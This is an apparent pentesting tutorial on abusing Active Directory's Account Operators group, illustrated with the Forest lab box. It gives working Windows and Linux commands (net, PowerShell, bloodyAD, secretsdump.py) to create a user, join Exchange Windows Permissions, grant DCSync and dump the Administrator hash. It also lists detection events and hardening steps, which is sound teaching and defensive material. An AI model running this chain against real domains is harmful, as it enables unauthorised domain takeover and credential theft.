Account Operators group abuse

Account Operators is a built-in Active Directory group meant to delegate basic account management: its members can create, modify and delete domain users and groups, and administer almost any object except protected groups (Domain Admins, Administrators, etc.) and domain controllers. Microsoft considers it a high-privilege group precisely because of that reach.

Why it's dangerous. Although it can't touch protected groups, being able to create accounts and manipulate non-protected ones is enough to chain an escalation if the domain has another group with strong permissions over critical objects. Belonging to Account Operators (even indirectly, through a MemberOf chain) inherits that power.

The classic pattern (Forest). In Forest, the user svc-alfresco inherited Account Operators through a chain of nested groups. The abuse, which BloodHound draws step by step, was:

1. Create an attacker-controlled domain user:

` net user jaime jaime123 /add /domain ` It works because Account Operators can create accounts.

1. Add it to a group with strong permissions. The Exchange Windows Permissions group held WriteDACL over the domain object. Account Operators can modify that group's membership (it isn't protected):

` net group "Exchange Windows Permissions" jaime /add `

1. Inherit the WriteDACL and, from the new user, rewrite the domain DACL to grant yourself DCSync, which ends up dumping the Administrator hash.

The underlying idea. This is escalation by chaining ACEs, not by exploit. Each permission (being in Account Operators, the Exchange group's WriteDACL) is legitimate on its own; the problem is their combination, which BloodHound reveals by following the graph's edges.

Abuse with tooling

From Windows (with the AD module or PowerView):

net user pwn Passw0rd123! /add /domain
net group "Exchange Windows Permissions" pwn /add
New-ADUser -Name pwn -AccountPassword (ConvertTo-SecureString 'Passw0rd123!' -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members pwn

From Linux, with the credentials of an Account Operators member:

# create the account and add it to the group with bloodyAD
bloodyAD -d <domain> -u <user> -p <pass> --host <dc> add user pwn 'Passw0rd123!'
bloodyAD -d <domain> -u <user> -p <pass> --host <dc> add groupMember "Exchange Windows Permissions" pwn
# alternative with net (Samba)
net rpc user add pwn 'Passw0rd123!' -U '<domain>/<user>%<pass>' -S <dc>
net rpc group addmem "Exchange Windows Permissions" pwn -U '<domain>/<user>%<pass>' -S <dc>

The new member inherits WriteDACL over the domain; with it we grant ourselves DCSync and dump the Administrator:

bloodyAD -d <domain> -u pwn -p 'Passw0rd123!' --host <dc> add dcsync pwn
secretsdump.py <domain>/pwn:'Passw0rd123!'@<dc> -just-dc-user Administrator

How to detect it. Every step of the chain has its event on the DC. Creating the user generates an Event ID 4720 (a user account was created); adding it to the group, a 4728/4732 (a member was added to a security-enabled group), where the target group (Exchange Windows Permissions) is itself suspicious; and the inherited WriteDACL that follows, a 5136 on the domain DACL and the 4662 of the final DCSync. The signature is the sequence 4720 → 4732 → 5136 within minutes from an account that does not administer the directory. High priority: any member addition to groups with permissions over the domain object.

Defence. Treat Account Operators as a maximum-privilege group: minimize (ideally empty) its membership, review nestings that grant it indirectly, and audit groups with WriteDACL/WriteOwner/GenericAll over the domain (like Exchange Windows Permissions, a common focus of Exchange deployments).